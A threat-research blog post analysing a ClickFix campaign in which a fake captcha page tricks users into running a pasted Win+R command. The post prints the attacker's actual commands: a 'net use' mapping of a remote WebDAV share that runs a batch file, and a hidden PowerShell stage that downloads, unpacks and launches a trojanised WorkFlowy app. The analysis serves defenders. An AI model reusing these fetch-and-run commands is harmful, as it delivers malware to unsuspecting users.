Investigating a New Click-Fix Variant

Disclaimer: This report has been prepared by the Threat Research Center to enhance cybersecurity awareness and support the strengthening of defense capabilities. It is based on independent research and observations of the current threat landscape available at the time of publication. The content is intended for informational and preparedness purposes only.

Read more blogs around threat intelligence and adversary research: https://atos.net/en/lp/cybershield

 Summary

Atos Researchers identified a new variant of the popular ClickFix technique, where attackers convince the user to execute a malicious command on their own device through the Win + R shortcut. In this variation, a “net use” command is used to map a network drive from an external server, after which a “.cmd” batch file hosted on that drive is executed. Script downloads a ZIP archive, unpacks it, and executes the legitimate WorkFlowy application with modified, malicious logic hidden inside “.asar” archive. This acts as a C2 beacon and a dropper for the final malware payload.

Figure 1: High-level overview of attack flow.

Attack overview

In this version, the initial vector of attack is the same as in all the other ones, a web page posing as a captcha mechanism – “happyglamper[.]ro”. It prompts the user to open the Run application via “Win+R”, followed by “Ctrl+V” and “Enter”

Figure 2: Phishing website 1

Figure 3: Phishing website 2

This executes the following command:

“cmd.exe” /c net use Z: http://94.156.170[.]255/webdav /persistent:no && “Z:\update.cmd” & net use Z: /delete

Typically, at this stage, attackers have used PowerShell or mshta to download and execute the next stage of the malware. Here, instead, we can see that “net use” is being used to map and connect to a network drive of an external server from which a Batch script is executed. While not novel, these TTPs were never seen in ClickFix attacks before. Combined with the next uncommon stages of infection patterns, this campaign gives Adversaries high chances to evade defensive controls and stay under the radar of defenders.

In this case, the observed ClickFix variant of execution flow successfully bypassed the detection of Microsoft Defender for Endpoint. Atos security teams were able to detect it only thanks to the internal Threat Hunting service focusing on the main behavioral aspect of the ClickFix technique – initial execution through the RunMRU registry key (hunting query available in the Appendix section).

start "" /min powershell -WindowStyle Hidden -Command "Invoke-WebRequest 'http://94.156.170[.]255/flowy.zip' -OutFile \"$env:TEMP\dl.zip\";
Expand-Archive \"$env:TEMP\dl.zip\" -DestinationPath \"$env:LOCALAPPDATA\MyApp\" -Force;
Start-Process \"$env:LOCALAPPDATA\MyApp\WorkFlowy.exe\""